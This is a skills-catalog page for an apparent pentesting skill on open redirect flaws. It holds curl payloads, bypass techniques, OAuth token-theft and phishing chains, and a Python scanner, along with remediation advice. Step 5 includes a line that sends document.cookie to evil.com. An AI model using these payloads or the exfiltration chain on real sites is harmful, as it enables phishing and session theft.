
Testing For Open Redirect Vulnerabilities
- 242 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Find open redirect parameters in login, logout, and OAuth flows that send users to attacker-controlled URLs for phishing and token theft before trusted domains go public.
About
Systematically tests for open redirect vulnerabilities in login, logout, OAuth callbacks, and return URL parameters where applications redirect users to attacker-controlled external destinations without strict destination validation.
- Redirect allowlist testing
- OAuth callback validation
- Phishing vector checks
- URL parser bypass attempts
Testing For Open Redirect Vulnerabilities by the numbers
- 242 all-time installs (skills.sh)
- +17 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #698 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-open-redirect-vulnerabilitiesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 242 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Find open redirect parameters in login, logout, and OAuth flows that send users to attacker-controlled URLs for phishing and token theft before trusted domains go public.
Files
Testing for Open Redirect Vulnerabilities
When to Use
- When testing login/logout flows that redirect users to specified URLs
- During assessment of OAuth authorization endpoints with redirect_uri parameters
- When auditing applications with URL parameters (next, url, redirect, return, goto, target)
- During phishing simulation to chain open redirects with credential harvesting
- When testing SSO implementations for redirect validation weaknesses
Prerequisites
- Burp Suite or OWASP ZAP for intercepting redirect requests
- Collection of open redirect bypass payloads
- External domain or Burp Collaborator for redirect confirmation
- Understanding of URL parsing and encoding schemes
- Browser with developer tools for observing redirect chains
- Knowledge of HTTP 301/302/303/307/308 redirect status codes
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Redirect Parameters
# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=
# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters
# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"Step 2 — Test Basic Open Redirect Payloads
# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"
# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"
# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"
# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"
# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"Step 3 — Apply Validation Bypass Techniques
# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"
# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"
# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"
# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"
# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"
# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"
# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"Step 4 — Test Path-Based Redirects
# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"
# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"
# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"
# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"Step 5 — Chain with Other Vulnerabilities
# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"
# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL
# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"Step 6 — Automate Open Redirect Testing
# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ
# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt
# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml
# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"Key Concepts
| Concept | Description |
|---|---|
| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |
| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |
| Protocol-Relative URL | Using // prefix to redirect while inheriting current protocol |
| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |
| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |
| DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input |
| Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |
Tools & Systems
| Tool | Purpose |
|---|---|
| OpenRedireX | Automated open redirect vulnerability testing tool |
| Burp Suite | HTTP proxy for intercepting and modifying redirect parameters |
| gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists |
| nuclei | Template-based scanner with open redirect detection templates |
| ffuf | Fuzzer for mass-testing redirect parameter payloads |
| OWASP ZAP | Automated scanner with open redirect detection |
Common Scenarios
1. Phishing Amplification — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users 2. OAuth Token Theft — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens 3. SSO Bypass — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens 4. XSS via Redirect — Chain open redirect with javascript: protocol to achieve cross-site scripting 5. Referer Leakage — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites
Output Format
## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse
### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |
### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing for Open Redirect Vulnerabilities
Common Redirect Parameters
| Parameter | Context |
|---|---|
| url, redirect, redirect_uri | OAuth/login flows |
| next, return, returnTo | Post-auth redirect |
| goto, target, dest | Navigation |
| continue, forward, callback | Multi-step flows |
Bypass Techniques
| Technique | Payload | Bypass Type |
|---|---|---|
| Protocol-relative | //evil.com | Scheme omission |
| Backslash | /\evil.com | Parser confusion |
| At-sign | target.com@evil.com | URL authority |
| Subdomain | target.com.evil.com | Domain confusion |
| Fragment | evil.com#target.com | Fragment bypass |
| URL encoding | evil%2Ecom | Encoded dot |
| CRLF | /%0d/evil.com | Header injection |
HTTP Redirect Codes
| Code | Description | Caches |
|---|---|---|
| 301 | Moved Permanently | Yes |
| 302 | Found | No |
| 303 | See Other | No |
| 307 | Temporary Redirect | No |
| 308 | Permanent Redirect | Yes |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests | >=2.28 | HTTP redirect testing |
urllib.parse | stdlib | URL parsing and encoding |
json | stdlib | Report generation |
References
- OWASP Unvalidated Redirects: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
- PortSwigger Open Redirect: https://portswigger.net/kb/issues/00500100_open-redirection-reflected
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for testing open redirect vulnerabilities.
Tests URL redirection parameters for open redirect flaws using
bypass techniques including URL encoding, protocol-relative URLs,
domain confusion, and parameter pollution.
"""
import json
import sys
from pathlib import Path
from datetime import datetime
from urllib.parse import urlparse, quote
try:
import requests
except ImportError:
requests = None
REDIRECT_PARAMS = [
"url", "redirect", "redirect_uri", "redirect_url", "next",
"return", "returnTo", "return_to", "goto", "target", "dest",
"destination", "rurl", "continue", "forward", "out", "view",
"ref", "callback", "redir", "login_url", "logout",
]
BYPASS_PAYLOADS = [
"https://evil.com",
"//evil.com",
"/\\evil.com",
"https://evil.com%2f%2f",
"https://target.com@evil.com",
"https://target.com.evil.com",
"https://evil.com#target.com",
"https://evil.com?.target.com",
"https://evil.com/target.com",
"https://evil%2Ecom",
"//evil.com/%2f%2e%2e",
"/%0d/evil.com",
"https:evil.com",
"javascript:alert(1)",
"data:text/html,<h1>redirect</h1>",
]
class OpenRedirectTestAgent:
"""Tests for open redirect vulnerabilities."""
def __init__(self, target_url, output_dir="./open_redirect_test"):
self.target_url = target_url.rstrip("/")
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _get(self, url, allow_redirects=False, timeout=10):
if not requests:
return None
try:
return requests.get(url, allow_redirects=allow_redirects, timeout=timeout)
except requests.RequestException:
return None
def discover_redirect_params(self, paths=None):
"""Discover which URL parameters trigger redirects."""
test_paths = paths or ["/login", "/logout", "/auth/callback", "/redirect", "/"]
found = []
for path in test_paths:
for param in REDIRECT_PARAMS:
test_url = f"{self.target_url}{path}?{param}=https://example.com"
resp = self._get(test_url)
if resp and resp.status_code in (301, 302, 303, 307, 308):
location = resp.headers.get("Location", "")
if "example.com" in location:
found.append({"path": path, "param": param, "location": location})
return found
def test_redirect_bypass(self, path, param):
"""Test a redirect parameter with bypass payloads."""
results = []
for payload in BYPASS_PAYLOADS:
test_url = f"{self.target_url}{path}?{param}={quote(payload, safe='')}"
resp = self._get(test_url)
if not resp:
continue
location = resp.headers.get("Location", "")
redirected = False
if resp.status_code in (301, 302, 303, 307, 308):
parsed = urlparse(location)
if parsed.netloc and parsed.netloc != urlparse(self.target_url).netloc:
if "evil.com" in parsed.netloc or "evil" in location:
redirected = True
if redirected:
results.append({
"payload": payload,
"status": resp.status_code,
"location": location,
"bypassed": True,
})
self.findings.append({
"severity": "medium",
"type": "Open Redirect",
"detail": f"{path}?{param}={payload} redirects to {location}",
})
return results
def test_all_endpoints(self, redirect_points=None):
"""Test all discovered redirect endpoints."""
points = redirect_points or self.discover_redirect_params()
all_results = []
for point in points:
results = self.test_redirect_bypass(point["path"], point["param"])
all_results.extend(results)
return all_results
def test_javascript_redirect(self, path="/", param="url"):
"""Check for JavaScript-based redirects using meta refresh or JS."""
test_url = f"{self.target_url}{path}?{param}=https://evil.com"
resp = self._get(test_url, allow_redirects=True)
if resp and "evil.com" in resp.text:
js_patterns = ["window.location", "document.location", "meta http-equiv"]
for pattern in js_patterns:
if pattern in resp.text:
self.findings.append({
"severity": "medium",
"type": "JavaScript Redirect",
"detail": f"Client-side redirect via {pattern}",
})
return {"pattern": pattern, "found": True}
return {"found": False}
def generate_report(self):
redirect_points = self.discover_redirect_params()
bypass_results = self.test_all_endpoints(redirect_points)
report = {
"report_date": datetime.utcnow().isoformat(),
"target": self.target_url,
"redirect_parameters_found": len(redirect_points),
"redirect_points": redirect_points,
"bypass_results": bypass_results,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "open_redirect_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <target_url>")
sys.exit(1)
agent = OpenRedirectTestAgent(sys.argv[1])
agent.generate_report()
if __name__ == "__main__":
main()